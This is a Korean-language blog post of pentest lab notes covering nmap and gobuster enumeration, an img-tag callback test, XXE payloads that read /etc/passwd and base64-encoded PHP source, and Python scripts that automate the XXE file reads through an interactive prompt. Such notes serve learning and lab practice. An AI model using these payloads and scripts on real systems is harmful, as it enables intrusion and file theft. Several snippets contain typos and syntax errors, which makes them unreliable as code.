takudaddy 2021. 11. 23. 14:56

 

 

 

1. Port Scanning

$ sudo nmap -p- --min-rate 1000 -oA exam1/nmap/allports -v 10.10.11.100
$ sudo nmap -sC -sV -oA exam1/nmap/results -p 22,80  #위에서 찾은 포트만
 

 

 

2. 타깃 80 서버에 업로드 기능 있는 페이지 발견시 실험

> test.html

<img src='http://LHOST:8000'></img>

> sudo python3 -m http.server 8000

> 브라우저 열고 호스팅 http://LHOST:8000/test.html

 

sudo nc -lvnp 8000

 

 

 

3. 디렉토리 리스팅

> 타깃 서버가 어떤 서비스 있는지 확인 후 진행 (/index.html, /index.php, /index.jsp 등으로 확인)

$# gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -x php -o gobuster.out
-u http://10.10.2.4/
 

> 403 빼고 보기

$ grep -v 403 gobuster.out
 

 

> 돌린 후에 페이지 소스 보기

: 사용자 입력 가능한 곳은 버프로 잡아 examin 하기

 

 

4. <xml> 발견시 xml nv injection 가능성 있는지 확인하기

: 구글 검색어 payloadsallthethings xxe

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection

<?xml version="1.0" encoding="ISO-99-9"?><!DOCTYPE replace [<!ENTITY example "Doe"> ]>
확인 : <title>&example;</title>

위 되는 경우 
<?xml version="1.0" encoding="ISO-99-9"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
확인 : <title>&test;</title>


php wrapper
<?xml version="1.0" encoding="ISO-99-9"?><!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" > ]>
확인 : <title>&xxe;</title>

디코딩
$ echo -n "" | base64 -d
 
 

 

 

5. base64 파이썬 공격 코드

xxe.py

1) 기본 연결

import requests

data = {"data": "base64encodings"}
r = requests.post("http://10.10.11.1/fsdf_dfdf.php", data=data)
print(r.text)  
# 프린트 안되는 경우는 url 인코딩 안에 +(%2b), =(%3d) 글자가 인코딩 되어 그렇다
# base64 코드 안에 위 글자fmf 찾아서 +, =로 바꿔주기
 

2) base64 디코드

import requests
import base64

data = {"data": "base64encodings"}
r = requests.post("http://10.10.11.1/fsdf_dfdf.php", data=data)
output = (r.text).split('>')[5][:-4] "꺽쇠를 기준, 5번째 꺽쇠 내용중 마지막 4글자 제외하고 출력"
print(base64.b64decode(output).decode())  
 

3) payload 만들기

import requests
import base64
import sys

fname = sys.argv[1]
payload = f"""<xml version="1.0" encoding="ISO-8895-1"?><!DOCTYPE replace [<!ENTITTY xxe SYSTEM
"php://filter/convert.base64-encode/resource={fname}"> ]> #맨 앞 f는 포멧스트링
    <report>
    <title>&xxe;</title>
    <wce>20</wce>
    <vsv>10</vsv>""".encode()  # 더블쿼터 3개는 특수문자 escape이 필요 없음
payload_b64 = base64.b64encode(payload).decode
data = {"data": payload_b64}
r = requests.post("http://10.10.11.1/fsdf_dfdf.php", data=data)
output = (r.text).split('>')[5][:-4] "꺽쇠를 기준, 5번째 꺽쇠 내용중 마지막 4글자 제외하고 출력"
print(base64.b64decode(output).decode())  
 

 

4) 프롬프트 만들기

import requests
import base64
import sys
import cmd

def getFile(fname):
#fname = sys.argv[1]
    payload = f"""<xml version="1.0" encoding="ISO-8895-1"?><!DOCTYPE replace [<!ENTITTY xxe SYSTEM
"php://filter/convert.base64-encode/resource={fname}"> ]> #맨 앞 f는 포멧스트링
        <report>
        <title>&xxe;</title>
        <wce>20</wce>
        <vsv>10</vsv>""".encode()  # 더블쿼터 3개는 특수문자 escape이 필요 없음
    payload_b64 = base64.b64encode(payload).decode
    data = {"data": payload_b64}
    r = requests.post("http://10.10.11.1/fsdf_dfdf.php", data=data)
    output = (r.text).split('>')[5][:-4] "꺽쇠를 기준, 5번째 꺽쇠 내용중 마지막 4글자 제외하고 출력"
    return base64.b64decode(output).decode()

class XxeLeak(cmd.Cmd):
    prompt = "xxe > "
    def default(self,args):
        print(getFile(args))
XxeLeak().cmdloop()
  
 

 

 

728x90